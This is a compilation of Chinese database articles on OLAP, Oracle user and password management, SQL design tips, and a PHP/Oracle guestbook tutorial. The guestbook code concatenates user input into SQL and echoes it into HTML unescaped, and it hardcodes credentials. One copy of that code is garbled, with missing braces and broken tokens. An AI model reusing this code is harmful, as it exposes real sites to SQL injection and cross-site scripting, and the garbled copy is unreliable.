    OLAP有三种数据处理方法。事实上，多维数据计算不需要在数据存储位置上进行。

（1）关系数据库

    即使活动的OLAP数据存储在关系数据库中，采用在关系数据库上完成复杂的多维计算也不是较好的选择。因为SQL的单语句并不具备完成多维计算的能力，要获得哪怕是最普通的多维计算功能也需要多重SQL。在许多情况下，一些OLAP工具用SQL做一些计算，然后将计算结果作为多维引擎输入。多维引擎在客户机或中层服务器上做大部分的计算工作，这样就可以利用RAM来存储数据，提高响应速度。

（2）多维服务引擎

    大部分OLAP应用在多维服务引擎上完成多维计算，并且具有良好的性能。因为这种方式可以同时优化引擎和数据库，而服务器上充分的内存为有效地计算大量数组提供了保证。

（3）客户机

    在客户机上进行计算，要求用户具备性能良好的PC机，以此完成部分或大部分的多维计算。对于日益增多的瘦型客户机，OLAP产品将把基于客户机的处理移到新的Web应用服务器上。

四、多维数据库

    多维数据库（MultiDimesional Database,MDD）可以简单地理解为：将数据存放在一个n维数组中，而不是像关系数据库那样以记录的形式存放。因此它存在大量稀疏矩阵，人们可以通过多维视图来观察数据。多维数据库增加了一个时间维，与关系数据库相比，它的优势在于可以提高数据处理速度，加快反应时间，提高查询效率。

    目前有两种MDD 的OLAP产品：基于多维数据库的MOLAP和基于关系数据库的ROLAP。ROLAP建立了一种新的体系，即星型结构。

    MDD并没有公认的多维模型，也没有像关系模型那样标准地取得数据的方法(如SQL、API等)。基于MDD的OLAP产品，依据决策支持的内容使用范围也有很大的不同。

    在低端，用户使用基于单用户或小型LAN的工具来观察多维数据。这些工具的功能性和实用性可能相当不错，但由于受到规模的限制，它们不具备OLAP的所有特性。这些工具使用超立方结构，将模型限制在n维形态。当模型足够大且稀疏数据没有控制好时，这种模型将会不堪一击。这些工具使用数据库的大小是以MB来计量的，而不是以GB计量的，因此只能进行只读操作，且具备有限的复杂计算。

    在高端，OLAP工具用4GL提供了完善的开发环境、统计分析、时间序列分析、财政报告、用户接口、多层体系结构、图表等许多其他功能。尽管不同的OLAP工具都使用了它们自己的多维数据库，但它们在不同程度上也利用了关系数据库作为存储媒体。因为关系数据库和OLAP工具同时在高端服务器上处理，所以速度和效率仍然很快。

    纯多维数据库引擎也被开发出来。尽管这些工具缺乏4GL及充分的开发环境，但却有比高端MDD工具所使用的数据库更为复杂的数据库。这些工具也具有统计分析、财务分析和时间序列分析等功能，并有自己的API，允许其对前端的开发环境开放。

    MDD能提供优良的查询性能。存储在MDD中的信息比在关系数据库中的信息具有更详细的索引，可以常驻在内存中。MDD的信息是以数组形式存放的，所以它可以在不影响索引的情况下更新数据。因此MDD非常适合于读写应用。


Oracle技术网—ORACLE 用户的规范化管理

ORACLE 用户的规范化管理

摘自：双利刃
随着ORACLE数据库里的信息量越来越大，能对ORACLE操作的用户也越来越多。
怎样安全地管理各行各业、各公司、各部门的数据，首先要从ORACLE用户管理着
手。

一、目前ORACLE用户管理存在的问题
1、权限过大
对ORACLE数据库编程和浏览的一般用户常常具有DBA (数据库管理员权限)，
能对数据库系统做任何修改或删除。

2、安全性差
很多ORACLE用户缺省存储位置都在系统表空间，这样不仅影响系统的正常工
作，而且不同用户的数据信息互相影响、透明，保密性差。随着数据的不断加入，
有可能使整个数据库系统崩溃。

3、密码有规律
在ORACLE调试初期形成的用户名和密码一致的不良习惯保留到现在；系统用
户SYS和SYSTEM的密码也众所皆知。

二、ORACLE用户的规范化管理
综述以上ORACLE用户管理中的种种弊端，再根据数据库使用情况，提出其规
范化管理的建议：

1、ORACLE DBA (数据库管理员)的规范

⑴、SUN Solaris操作系统下ORACLE用户密码应严格保密，绝不该把密码设成
ORACLE；并指定专门的数据库管理员定期修改。
⑵、ORACLE初始化建立的SYS和SYSTEM系统管理员用户密码应由原来的MANAGER
改成别的不易被记忆的字符串。
⑶、ORACLE WEB SERVER的管理端口具备DBA浏览数据库的能力，因此其管理者
ADMIN的密码也应保密，不该把密码设成MANAGER；并指定专门的数据库管理员定
期修改。
⑷、ORACLE DBA最好在SUN SPARC服务器控制台上用窗口式界面实现管理。前提
是ORACLE用户启动服务器，然后在窗口式命令行下输入SVRMGRM，即启动了ORACLE
SERVER MANAGER菜单式管理；用SYSDBA身份登录后，就可做数据库系统维护工作
了。

2、SQL*PLUS编程用户的规范

⑴、存储结构的规范
考虑到用SQL*PLUS编程可实现各行各业、各公司、各部门多种多样的应用
需求，我们的SQL*PLUS编程用户也应该朝这个方向规范：不同种类的应用必须有
不同的用户；不同种类的应用必须有不同的存储位置，包括物理文件、缺省表空
间、临时表空间的创建和规划：当准备编写某一较大规模(从ORACLE数据量和面向
用户量考虑)应用程序时，首先应该创建一个逻辑的存储位置-表空间，同时定义
物理文件的存放路径和所占硬盘的大小。

①、物理文件缺省的存放路径在/oracle_home/dbs下，在命令行下用UNIX指令
df -k 可查看硬盘资源分区的使用情况。如果oracle_home使用率达90‰以上，而
且有一个或多个较为空闲的硬盘资源分区可以利用，我们最好把物理文件缺省的
存放路径改到较为空闲的硬盘资源分区路径下。在此路径下我们可以这样规划资
源物理文件的存储：
xxx表空间
xxx行业/ xxx公司/ xxx 部门/ xxx 服务.dbf

DEMO表空间
default_datafile_home1/col /elec/sys4/demo1.dbf
default_datafile_home1/col /elec/sys4/demo2.dbf
公司系统四部摹拟演示系统物理文件
HUMAN表空间
default_datafile_home1/col/elec/human/human.dbf
公司人事部人事管理系统物理文件
BOOK表空间
default_datafile_home1/col/elec/book/book.dbf
公司资料室图书管理系统物理文件
QUESTION表空间
default_datafile_home1/col/elec/client/question.dbf
公司客户服务部问题库系统物理文件
PC表空间
default_datafile_home1/col/chaoxun/client/pc.dbf
公司PC机售后服务系统物理文件
……表空间
default_datafile_home2/……………………………
等等
说明：其中default_datafile_home1指oracle_home/dbs；
default_datafile_home2指较为空闲的硬盘资源分区路径。

②、物理文件的大小根据应用系统的数据量、数据对象、程序包的多少来定。
一般用于摹拟演示的小系统，表空间初始的物理文件为2M即能满足要求，如果信
息量满，还可以增加物理文件，扩充表空间(每次扩充大小也可暂定为2M)；一般
实际运行的应用系统可适当增加表空间初始的物理文件大小，但也不要一次分配
太大(因为不易回收空间，却易扩充空间)，这也需要根据具体情况具体分析：信
息量大、需长时间保存的应用在条件允许情况下，表空间可以大到几百M甚至上G；
信息量小、短期经常刷新的应用，表空间可以控制在2M以下。

举例： ●创建APP 某应用表空间(窗口菜单方式)：
oracle_home/dbs/app.dbf 2M 某应用的物理文件

oracle_home所在的/wwwdg分区使用率为10‰，所以物理文件可放在其缺省路径：oracle_home/dbs 下。

●创建APP 某应用表空间(命令行方式)

oracle_home/dbs/app.dbf 2M 某应用的物理文件

%svrmgrl
SVRMGR>connect internal;
SVRMGR> create tablespace app datafile 'app.dbf'size 2M;
说明：物理文件的缺省路径为ORACLE_HOME/DBS
即wwwdg/oracle/app/oracle/product/7.3.2/dbs

③、表空间的名称应该采用同系统应用相似的英文字符或字符缩写，表空间所对
应的一个或多个物理文件名也应有相关性。不同用户所处的缺省表空间不同，存
储的信息就不能互相访问。这比把所有用户信息都储存在系统表空间，安全性大
大提高了。如果用ORACLE WEB SERVER管理端口创建的用户，其缺省和临时表空
间一定是系统表空间，DBA切记要改变用户的缺省表空间。临时表空间存放临时
数据段，处理一些排序、合并等中间操作，根据实际应用的需求可以把它们放在
专门创建的表空间里；如果系统表空间大，也可以把它们放在系统表空间。用户
创建的数据索引最好和数据文件分开存放在不同表空间，以减少数据争用和提高
响应速度。

举例：
●改变dcd用户缺省表空间(窗口菜单方式)：

●改变dcd用户缺省表空间(命令行方式)
%svrmgrl
SVRMGR>connect internal;
SVRMGR>alter user dcd identified by dcdpwd default tablespace app;

⑵、权限的规范
对ORACLE数据库编程的用户具有CONNECT加RESOURCE权限就足以完成其工作。如果
要开发在INTERNET上可执行的应用程序，我们建议用ORACLE WEB SERVER管理端口
创建SQL*PLUS编程新用户。在 ORACLE WEB SERVER ADMINISTRATION中选PL/SQL
AGENT。

举例：
●创建一个SQL*PLUS编程新用户new (窗口菜单方式)

再选CREATE NEW DCD

选SUBMIT NEW SERVICE按纽后，屏幕提示CREATE DCD SUCCESS！这个过程不
仅创建了ORACLE的新用户，还安装了WEB SERVER的PL/SQL工具包，并确定了其有
效的INTERNET浏览端口。

选CONFIGURE 80

选Directory Mappings
做好端口相应INTERNET资源配置

修改WEB请求插件80

加入新用户WEB请求的应用和路径

做好端口相应INTERNET资源配置和加入新用户的WEB请求插件后，DBA切记要
改变用户的缺省表空间，由系统表空间改到为相关应用而创建的表空间。这样，
有效的面向INTERNET的SQL*PLUS编程用户就规划好了。

⑶、密码和用户名的规范
有相当数量的ORACLE用户名和密码一致，这是个很不安全的因素。我们建议
ORACLE用户名和密码一定不要一样，密码最好在五，六位字符以上。不同用户间
不应该使用相同的密码。用户名的定义可根据实际应用的英文名来设，而依据编
程人员的姓名定义的用户名实际上不规范，可在日后的工作中结合上述有关存储
结构规范的说明逐步改进。

3、特殊要求用户的规范
在ORACLE数据库使用过程中，还会遇到一些有特殊要求的用户：非编程人员
需要对某个表有查询、增加、删除、修改的权利。DBA应创建一个这样的用户，先
确定用户名和密码，再规定相关应用所在缺省表空间(包含某个表)和临时表空间，
最后TABLE属主给其授权：赋予CONNECT角色加SELECT、INSERT、DELETE、UPDATE
ON THE TABLE的对象级权限，这可根据实际需求自由取舍。

举例：●给新用户授于对象级权限(命令行方式)：
假设新用户NEW2需要有查询、删除、修改DCD用户的表EMP。

%svrmgrl
SVRMGR>connect internal; 以系统管理员登录
SVRMGR>create user new2 identified by new2345 default tablespace app;
SVRMGR>connect dcd/dcdpwd; 以dcd用户登录
SVRMGR>grant connect to new2;
SVRMGR>grant select on emp to new2;
SVRMGR>grant delete on emp to new2;
SVRMGR>grant update on emp to new2;


Oracle技术网—user、uid伪列

位置：首页→Oracle其他知识→

【点击：】 阿木伯 著
user、uid伪列
  • 软件环境：
      1、操作系统：Windows 2000 Server
      2、数 据 库：Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 含义解释：
      1、user返回当前连接到数据库的用户名，是ORACLE为方便而定义的。
      2、uid返回唯一标识当前用户的整数
  • 使用方法：
    SQL> conn system/manager
已连接。

SQL> select * from all_users;

USERNAME                          USER_ID CREATED
------------------------------ ---------- ----------
SYS                                     0 27-2月 -00
SYSTEM                                  5 27-2月 -00
OUTLN                                  11 27-2月 -00
DBSNMP                                 16 27-2月 -00
AURORA$ORB$UNAUTHENTICATED             24 27-2月 -00
ORDSYS                                 25 27-2月 -00
ORDPLUGINS                             26 27-2月 -00
MDSYS                                  27 27-2月 -00
CTXSYS                                 30 27-2月 -00
SCOTT                                  32 27-2月 -00
ADAMS                                  33 27-2月 -00

USERNAME                          USER_ID CREATED
------------------------------ ---------- ----------
JONES                                  34 27-2月 -00
CLARK                                  35 27-2月 -00
BLAKE                                  36 27-2月 -00

已选择14行。

SQL> select user,uid from dual;

USER                                  UID
------------------------------ ----------
SYSTEM                                  5

当你忘记自己的用户ID时，可以使用show user，也可以使用select user from dual;

user用于安全验证也非常有用

程序中可通过user来判断当前登录的用户ID，为不同的用户作出不同的响应。


Oracle技术网—大型数据库设计原则

大型数据库设计原则

摘自：http://www.ccw.com.cn/

南昌航空工业学院电子工程系
喻金科

    一个好的数据库产品不等于就有一个好的应用系统，如果不能设计一个合理的数据库模型，不仅会增加客户端和服务器段程序的编程和维护的难度，而且将会影响系统实际运行的性能。一般来讲，在一个MIS系统分析、设计、测试和试运行阶段，因为数据量较小，设计人员和测试人员往往只注意到功能的实现，而很难注意到性能的薄弱之处，等到系统投入实际运行一段时间后，才发现系统的性能在降低，这时再来考虑提高系统性能则要花费更多的人力物力，而整个系统也不可避免的形成了一个打补丁工程。笔者依据多年来设计和使用数据库的经验，提出以下一些设计准则，供同仁们参考。

  • 命名的规范
    不同的数据库产品对对象的命名有不同的要求，因此，数据库中的各种对象的命名、后台程序的代码编写应采用大小写敏感的形式，各种对象命名长度不要超过30个字符，这样便于应用系统适应不同的数据库。
  • 游标（Cursor）的慎用
    游标提供了对特定集合中逐行扫描的手段，一般使用游标逐行遍历数据，根据取出的数据不同条件进行不同的操作。尤其对多表和大表定义的游标（大的数据集合）循环很容易使程序进入一个漫长的等特甚至死机，笔者在某市《住房公积金管理系统》进行日终帐户滚积数计息处理时，对一个10万个帐户的游标处理导致程序进入了一个无限期的等特（后经测算需48个小时才能完成）(硬件环境：Alpha/4000 128Mram ,Sco Unix ,Sybase 11.0)，后根据不同的条件改成用不同的UPDATE语句得以在二十分钟之内完成。示例如下：
Declare Mycursor cursor for select  count_no from COUNT
    Open Mycursor
    Fetch Mycursor into @vcount_no
    While (@@sqlstatus=0)
    Begin
    If  @vcount_no=’’  条件1
    操作1
   If  @vcount_no=’’  条件2
            操作2
            。。。
    Fetch Mycursor into @vcount_no
End
。。。
。。。
    改为
    Update COUNT set  操作1 for 条件1
    Update COUNT set  操作2 for 条件2
    。。。
    。。。

    在有些场合，有时也非得使用游标，此时也可考虑将符合条件的数据行转入临时表中，再对临时表定义游标进行操作，可时性能得到明显提高。笔者在某地市〈电信收费系统〉数据库后台程序设计中，对一个表（3万行中符合条件的30多行数据）进行游标操作(硬件环境：PC服务器，PII266 64Mram ,NT4.0 Ms Sqlserver 6.5)。 示例如下：

Create #tmp   /* 定义临时表 */
(	字段1
            字段2
    。。。
    )
    Insert into #tmp select * from TOTAL where
条件  /* TOTAL中3万行 符合条件只有几十行 */
    Declare Mycursor cursor for select * from #tmp
  /*对临时表定义游标*/
    。。。
  • 索引(Index)的使用原则
    创建索引一般有以下两个目的：维护被索引列的唯一性和提供快速访问表中数据的策略。大型数据库有两种索引即簇索引和非簇索引，一个没有簇索引的表是按堆结构存储数据，所有的数据均添加在表的尾部，而建立了簇索引的表，其数据在物理上会按照簇索引键的顺序存储，一个表只允许有一个簇索引，因此，根据B树结构，可以理解添加任何一种索引均能提高按索引列查询的速度，但会降低插入、更新、删除操作的性能，尤其是当填充因子（Fill Factor）较大时。所以对索引较多的表进行频繁的插入、更新、删除操作，建表和索引时因设置较小的填充因子，以便在各数据页中留下较多的自由空间，减少页分割及重新组织的工作。
  • 数据的一致性和完整性
    为了保证数据库的一致性和完整性，设计人员往往会设计过多的表间关联（Relation），尽可能的降低数据的冗余。表间关联是一种强制性措施，建立后，对父表（Parent Table）和子表(Child Table)的插入、更新、删除操作均要占用系统的开销，另外，最好不要用Identify 属性字段作为主键与子表关联。如果数据冗余低，数据的完整性容易得到保证，但增加了表间连接查询的操作，为了提高系统的响应时间，合理的数据冗余也是必要的。使用规则（Rule）和约束（Check）来防止系统操作人员误输入造成数据的错误是设计人员的另一种常用手段，但是，不必要的规则和约束也会占用系统的不必要开销，需要注意的是，约束对数据的有效性验证要比规则快。所有这些，设计人员在设计阶段应根据系统操作的类型、频度加以均衡考虑。
  • 事务的陷阱
    事务是在一次性完成的一组操作。虽然这些操作是单个的操作，SQL Server能够保证这组操作要么全部都完成，要么一点都不做。正是大型数据库的这一特性，使得数据的完整性得到了极大的保证。

---- 众所周知，SQL Server为每个独立的SQL语句都提供了隐含的事务控制，使得每个DML的数据操作得以完整提交或回滚，但是SQL Server还提供了显式事务控制语句

    BEGIN TRANSACTION 开始一个事务

    COMMIT TRANSACTION 提交一个事务

    ROLLBACK TRANSACTION 回滚一个事务

    事务可以嵌套，可以通过全局变量@@trancount检索到连接的事务处理嵌套层次。需要加以特别注意并且极容易使编程人员犯错误的是，每个显示或隐含的事物开始都使得该变量加1，每个事务的提交使该变量减1，每个事务的回滚都会使得该变量置0，而只有当该变量为0时的事务提交（最后一个提交语句时），这时才把物理数据写入磁盘。

  • 数据库性能调整
    在计算机硬件配置和网络设计确定的情况下，影响到应用系统性能的因素不外乎为数据库性能和客户端程序设计。而大多数数据库设计员采用两步法进行数据库设计：首先进行逻辑设计，而后进行物理设计。数据库逻辑设计去除了所有冗余数据，提高了数据吞吐速度，保证了数据的完整性，清楚地表达数据元素之间的关系。而对于多表之间的关联查询（尤其是大数据表）时，其性能将会降低，同时也提高了客 户端程序的编程难度，因此，物理设计需折衷考虑，根据业务规则，确定对关联表的数据量大小、数据项的访问频度，对此类数据表频繁的关联查询应适当提高数据冗余设计。
  • 数据类型的选择
    数据类型的合理选择对于数据库的性能和操作具有很大的影响，有关这方面的书籍也有不少的阐述，这里主要介绍几点经验。
  1. Identify字段不要作为表的主键与其它表关联，这将会影响到该表的数据迁移。
  2. Text 和Image字段属指针型数据，主要用来存放二进制大型对象（BLOB）。这类数据的操作相比其它数据类型较慢，因此要避开使用。
  3. 日期型字段的优点是有众多的日期函数支持，因此，在日期的大小比较、加减操作上非常简单。但是，在按照日期作为条件的查询操作也要用函数，相比其它数据类型速度上就慢许多,因为用函数作为查询的条件时，服务器无法用先进的性能策略来优化查询而只能进行表扫描遍历每行。
    例如：要从DATA_TAB1中（其中有一个名为DATE的日期字段）查询1998年的所有记录。

    Select * from DATA_TAB1 where datepart(yy,DATE)=1998


Oracle技术网—留言簿（带Oracle数据库分页的显示功能）

留言簿（带Oracle数据库分页的显示功能）

摘自：程序人生

作者：可乐
大部份的网站，都会考虑到和使用者之间的互动关系。这时，用留言版的功能，可让使用者留下到此一游，或者是一些和网站的互动讯息。
在设计上，可以很简单的只留下使用者的短篇留言，也可以设计到依性质分门别类很复杂的 Web BBS 系统。当然，要如何打造一个属于自己网站的留言版，就端赖网站的性质以及 Web 网站开发人员的巧思了。

在这里介绍的范例，是简单的列示所有留言的内容。供使用者可以一次看到多笔留言的资料。系统的后端存放留言是用 Oracle 7.x 版的资料库系统。范例中的资料库(database) 名称为 WWW，连线的使用者帐号为 user38、密码为 iam3849。要直接使用本例，必须先执行下面的 SQL 指令，建立 guestbook 的资料表格。

CREATE TABLE guestbook (
serial varchar2(255) not null,
ref varchar2(255) null,
id char(8) not null,
alias varchar2(32) not null,
ip varchar2(1024) null,
msgdate date not null,
email varchar2(1024) null,
msg varchar2(2000) not null,
flag char(1) default 1,
primary key(serial)
);

上面的 SQL 各栏位说明及详细资料见下表

序号 栏位 名称 资料形态 资料长度 栏位说明 限制 Key
0 流水号 serial varchar2 255 NN PK
1 参照流水号 ref varchar2 255 暂保留。供回
覆留言功能用
2 帐号 id char 8 使用者帐号 NN
3 匿名 alias varchar2 32 显示的名字 NN
4 网址 ip varchar2 1024 上网 IP
5 时间 msgdate date NN
6 电子邮件 email varchar2 1024
7 留言内容 msg varchar2 2000 NN
8 显示旗标 flag char 1 0: 不显示
1: 显示 (内定)

在本节的留言版相关程式中，若加入了使用者认证功能，则可以在 guestbook资料表的帐号栏中留下使用者的认证帐号，方便 Webmaster 日后找寻不当的发信者。在这儿先留下栏位，让需要的读者们实习了。

要使用本节的程式，首先要先装好 Oracle 7.x 版，并确定 Web Server 端的SQL*net 可以顺利连上 Oracle 资料库。之后还要在编译 PHP 时加

--with-oracle=/home/oracle/product/7.3.2 的选项，当然改成其它的路径也没关系，只要该路径真的是 Oracle 的路径即可。有关 Oracle 装设及使用上的细节请参考相关书籍。

下面的程式是将使用者的留言资讯加到 guestbook 留言资料表中。若要设定使用者认证功能，可在程式刚开始时检查，发留言者就可以确认身份，而读取留言就不必身份检查。这种设定可以防止不当发言，却又不会让留言功能只有少数人使用。

<?php
file://---------------------------
// 新增留言程式 addmsg.php
// Author: Wilson Peng
// Copyright (C) 2000
file://---------------------------
//
// 可自行在这儿加入身份检查功能
//
if (($alias!="") and ($msg!="")) {
putenv("ORACLE_SID=WWW");
putenv("NLS_LANG=american_taiwan.zht16big5");
putenv("ORACLE_HOME=/home/oracle/product/7.3.2");
putenv("LD_LIBRARY_PATH=/home/oracle/product/7.3.2/lib");

putenv("ORA_NLS=/home/oracle/product/7.3.2/ocommon/nls/admin/data");

putenv("ORA_NLS32=/home/oracle/product/7.3.2/ocommon/nls/admin/data");

$handle=ora_logon("user38@WWW","iam3849") or die;
$cursor=ora_open($handle);
ora_commitoff($handle);

$serial=md5(uniqid(rand()));
$ref="";
$id=$PHP_AUTH_USER;
$ip=$REMOTE_ADDR;
$msg=base64_encode($msg);
$flag="1";
$query="INSERT into guestbook(serial, ref, id, alias, ip,
msgdate, email, msg, flag) values('$serial', '$ref', '$id', '$alias', '$ip',
sysdate, '$email', '$msg', '$flag')";

ora_parse($cursor, $query) or die;
ora_exec($cursor);

ora_close($cursor);
ora_logoff($handle);

Header("Location: ./index.php");
exit;

} else {
?>
<html>
<head>
<title>填写留言</title>
</head>
<body bgcolor=ffffff>
<form method=POST action="<? echo $PHP_SELF; ?>">
<table border=0 cellpadding=2 width=395>
<tr>
<td nowrap><font color=004080>代号小名</font></td>
<td width=20%><input type=text name=alias size=8></td>
<td nowrap><font color=004080>电子邮件</font></td>
<td width=50%><input type=text name=email size=18></td>
</tr>
<tr>
<td nowrapvalign=top><font color=004080>内容</font></td>
<td width=80% colspan=3><textarea rows=5 name=msg
cols=33></textarea></td>
</tr>
<tr>
<td width=100% colspan=4 align=center>
<input type=submit value="送出留言">
<input type=reset value="擦掉留言">
</td>
</tr>
</table>
</form>
</body>
</html>
<?php
}
?>

上面的程式在执行时，先检查变数 alias 和 msg 是否有资料，若无资料则送出填写留言的表格到使用者端，供使用者填写留言。

若使用者填好留言，按下 "送出留言" 的按钮后，则执行程式的前半部份。

程式大概分成五部份

1.. 设定 Oracle 需要的环境变数
2.. 连上 Oracle 资料库
3.. 整理资料，送入 Oracle 中
4.. 结束与 Oracle 的连线
5.. 结束程式，显示最新的留言资料
在设定 Oracle 环境的部份，用 PHP 的函式 putenv()，可设定作业系统层的环境变数。要使用中文要记得加入下面这行

putenv("NLS_LANG=american_taiwan.zht16big5");

之后就使用 Oracle 函式库的功能: ora_logon() 等等。详见 Oracle 资料库函式库。利用这个函式库，可以很轻易的操作 Oracle 资料库。

再来就是整理资料，以便置入 Oracle 资料库中

$serial=md5(uniqid(rand()));
$ref="";
$id=$PHP_AUTH_USER;
$ip=$REMOTE_ADDR;
$msg=base64_encode($msg);
$flag="1";
$query="INSERT into guestbook(serial, ref, id, alias, ip, msgdate,
email, msg, flag) values('$serial', '$ref', '$id', '$alias', '$ip', sysdate,
'$email', '$msg', '$flag')";

$serial 变数为独一无二的字串，程式先乱数产生独特的字串，再用 md5 编码，将字串弄乱，形成类似杂凑处理后的无意义字串。由于字串长，又变得很乱，可防止使用者，尤其是骇客或飞客利用序号来戳系统。

$ref 变数目前是无效的。$id 变数为使用者认证用，若在程式开始处有加入使用者认证的程式，则 $PHP_AUTH_USER 会变成使用者的帐号，传入 $id 变数中。

至于使用者写的字串，为了防止资料库或处理时的复杂性甘脆将它用 BASE64 编码。可以让中文字的奇怪字元一字消失，当然这是锯箭法，不过对 Web 程式而言，执行快速、修改方便才是最重要的，实在没有必要再浪费精力去处理这些中文的冲码问题了。值得注意的是使用 BASE64 编码，会让字串膨胀大约 1/3，若资料库的储存空间有限，可能就不适合用这个方法了，话又说回来，现在硬碟便宜，随便就是十几 GB 以
上，应该不会考虑资料库空间有限的问题才对。

最后，将变数整理成 $query 字串，供资料库执行 SQL 指令使用就可以了。

ora_parse($cursor, $query) or die;
ora_exec($cursor);
ora_close($cursor);
ora_logoff($handle);

要执行 Oracle 的 SQL 指令前，要先经过 parse 的动作。若在前面加上 @ (如: @ora_prase();)，可以不让使用者看到错误讯息。在执行 query 指令后，就可以关闭与 Oracle 之间的连线了。

Header("Location: ./index.php");
exit;

这二行让浏览器重导到 index.php。让使用者看到他的新留言，就完成了留言的动作。

之后来看看留言的内容显示程式。

<html>
<head>
<meta content="text/html; charset=gb2312"
http-equiv=Content-Type>
<title>留言版</title>
</head>
<body bgcolor=ffffff>
<?php
file://---------------------------
// 留言显示程式 index.php
// Author: Wilson Peng
// Copyright (C) 2000
file://---------------------------

$WebmasterIPArray =
ay(
"10.0.1.30", // 管理人员甲的机器 IP
"10.0.2.28" // 管理人员乙的机器 IP
);

$WebmasterIP=false;
for ($i=0; $i<Count($WebmasterIPArray); $i++) {
if ($REMOTE_ADDR == $WebmasterIPArray[$i]) $WebmasterIP=true;
}

putenv("ORACLE_SID=WWW");
putenv("NLS_LANG=american_taiwan.zht16big5");
putenv("ORACLE_HOME=/home/oracle/product/7.3.2");
putenv("LD_LIBRARY_PATH=/home/oracle/product/7.3.2/lib");
putenv("ORA_NLS=/home/oracle/product/7.3.2/ocommon/nls/admin/data");
putenv("ORA_NLS32=/home/oracle/product/7.3.2/ocommon/nls/admin/data");

$handle=ora_logon("user38@WWW","iam3849") or die;
$cursor=ora_open($handle);
ora_commitoff($handle);

$query="SELECT serial, ref, id, alias, ip, TO_CHAR(msgdate, 'yyyy/mm/dd hh:mi:ss'), email, msg FROM guestbook where flag='1' order by msgdate desc";
ora_parse($cursor, $query) or die;
ora_exec($cursor);
$i=0;
while(ora_fetch($cursor)) {
$guestbook[$i][0] = ora_getcolumn($cursor,0);
$guestbook[$i][1] = ora_getcolumn($cursor,1);
$guestbook[$i][2] = ora_getcolumn($cursor,2);
$guestbook[$i][3] = ora_getcolumn($cursor,3);
$gu
estbook[$i][4] = ora_getcolumn($cursor,4);
$guestbook[$i][5] = ora_getcolumn($cursor,5);
$guestbook[$i][6] = ora_getcolumn($cursor,6);
$guestbook[$i][7] = ora_getcolumn($cursor,7);
$i++;
}
ora_close($cursor);
ora_logoff($handle);

echo "<a href=addmsg.php>新增留言....</a><p>\n";

if ($QUERY_STRING!="")

$page = $QUERY_STRING;
} else

$page = 0;
}

$i=count($guestbook);
$msgnum=20; // 每页二十笔
$start = $page * $msgnum;
$end = $start + $msgnum;
if ($end > $i) $end=$i;
$totalpage=$i/$msgnum;

$pagestr="";
if ($page>0) $pagestr=$pagestr."<a
href=index.php?".($page-1).">&lt;上页</a> - ";
$pagestr=$pagestr."[第 ";
for ($i=0; $i<$totalpage; $i++)

if ($i!=$page)

$pagestr = $pagestr."<a href=index.php?$i>".($i+1)."</a> ";
} else

$pagestr = $pagestr.($i+1)." ";
}
}
$pagestr=$pagestr." 页] ";
if ($page<($totalpage-1)) $pagestr=$pagestr."- <a
href=index.php?".($page+1).">下页&gt;</a> ";

$pagestr="<div align=center>$pagestr</div>";
echo "<p>".$pagestr."<hr><p>\n";

for ($i=$start; $i<$end; $i++)

echo "<p><hr><p>\n";
echo "<p>\n<font color=e06060>".$guestbook[$i][5]."</font>
&nbsp; ";
if ($guestbook[$i][6]!="") echo "<a
href=mailto:".$guestbook[$i][6].">";
echo "<strong>".$guestbook[$i][3]."</strong>";
if ($guestbook[$i][6]!="") echo "</a>";
echo "<br>\n";
if ($WebmasterIP) echo "<a
href=erase.php?".$guestbook[$i][0].">删除本篇!!</a> (".$guestbook[$i][2].")
&nbsp; ";
echo "<font size=-1 color=c0c0c0>from:
".$guestbook[$i][4]."</font><p>\n";
$msg=base64_decode($guestbook[$i][7]);
$msg=nl2br($msg);
echo $msg;
echo "<p>\n";
}

echo "<p><hr><p>\n";
echo $pagestr;

?>
</body>
</html>

在显示留言的部份，考虑到留言内容若很多，加上网路慢的话，可能会让使用者在线路慢的时候拖累整个资料库，因此，尽快的连上资料库，取得需要的资料后，马上关闭资料库，再慢慢送给使用者，应是最好的对策。

程式分成四部份

1.. 初始化
2.. 取资料库中的资料
3.. 计算要显示的页数
4.. 送出资料
这个程式在 BIGLOBE 上有实作，由于这是一间 ISP 公司，因此在设定时限定拨
接或专线的会员才能看到，进入前要输入帐号及密码。有兴趣者不妨买个 BIGLOBE 的
拨接帐号参考。为了保护留言者的隐私，留言以马赛克处理。

$WebmasterIPArray = array(
"10.0.1.30", // 管理人员甲的机器 IP
"10.0.2.28" // 管理人员乙的机器 IP
);

$WebmasterIP=false;
for ($i=0; $i<Count($WebmasterIPArray); $i++) {
if ($REMOTE_ADDR == $WebmasterIPArray[$i]) $WebmasterIP=true;
}
// 之后初始化 Oracle 程式略

显示程式和留言程式的初始化部份都差不多，但显示程式多加了一个功能，设定Webmaster 的电脑。将 Webmaster 使用的 IP Address 加在 $WebmasterIPArray 阵列变数中，可以在显示留言时，显示删除留言的字串，方便处理不当的留言。

$handle=ora_logon("user38@WWW","iam3849") or die;
$cursor=ora_open($handle);
ora_commitoff($handle);

$query="SELECT serial, ref, id, alias, ip, TO_CHAR(msgdate,
'yyyy/mm/dd hh:mi:ss'), email, msg FROM guestbook where flag='1' order by
msgdate desc";
ora_parse($cursor, $query) or die;
ora_exec($cursor);
$i=0;
while(ora_fetch($cursor)) {
$guestbook[$i][0] = ora_getcolumn($cursor,0);
$guestbook[$i][1] = ora_getcolumn($cursor,1);
$guestbook[$i][2] = ora_getcolumn($cursor,2);
$guestbook[$i][3] = ora_getcolumn($cursor,3);
$guestbook[$i][4] = ora_getcolumn($cursor,4);
$guestbook[$i][5] = ora_getcolumn($cursor,5);
$guestbook[$i][6] = ora_getcolumn($cursor,6);
$guestbook[$i][7] = ora_getcolumn($cursor,7);
$i++;
}
ora_close($cursor);
ora_logoff($handle);

在初始化后，就可以连上 Oracle 资料库，将留言的资料取出放在 $guestbook阵列中。取得资料后，就赶紧将资料库关闭，再来处理 $guestbook 阵列的资料了。

if ($QUERY_STRING!="") {
$page = $QUERY_STRING;
} else {
$page = 0;
}

这一段程式判断是要显示第几页，内定值是显示第一页。要显示第三页的页面，需要使用 http://xxxxxx/index.php?2 的格式，也就是传入 $QUERY_STRING，余类推。之后的数行程式，都是用来处理显示的页数及笔数的资料。

$msgnum=20; // 每页二十笔

要改变每页的显示笔数，可以改 $msgnum 变数。程式的内定值为 20 笔。

for ($i=$start; $i<$end; $i++) {
echo "<p><hr><p>\n";
echo "<p>\n<font color=e06060>".$guestbook[$i][5]."</font> &nbsp; ";
if ($guestbook[$i][6]!="") echo "<a
href=mailto:".$guestbook[$i][6].">";
echo "<strong>".$guestbook[$i][3]."</strong>";
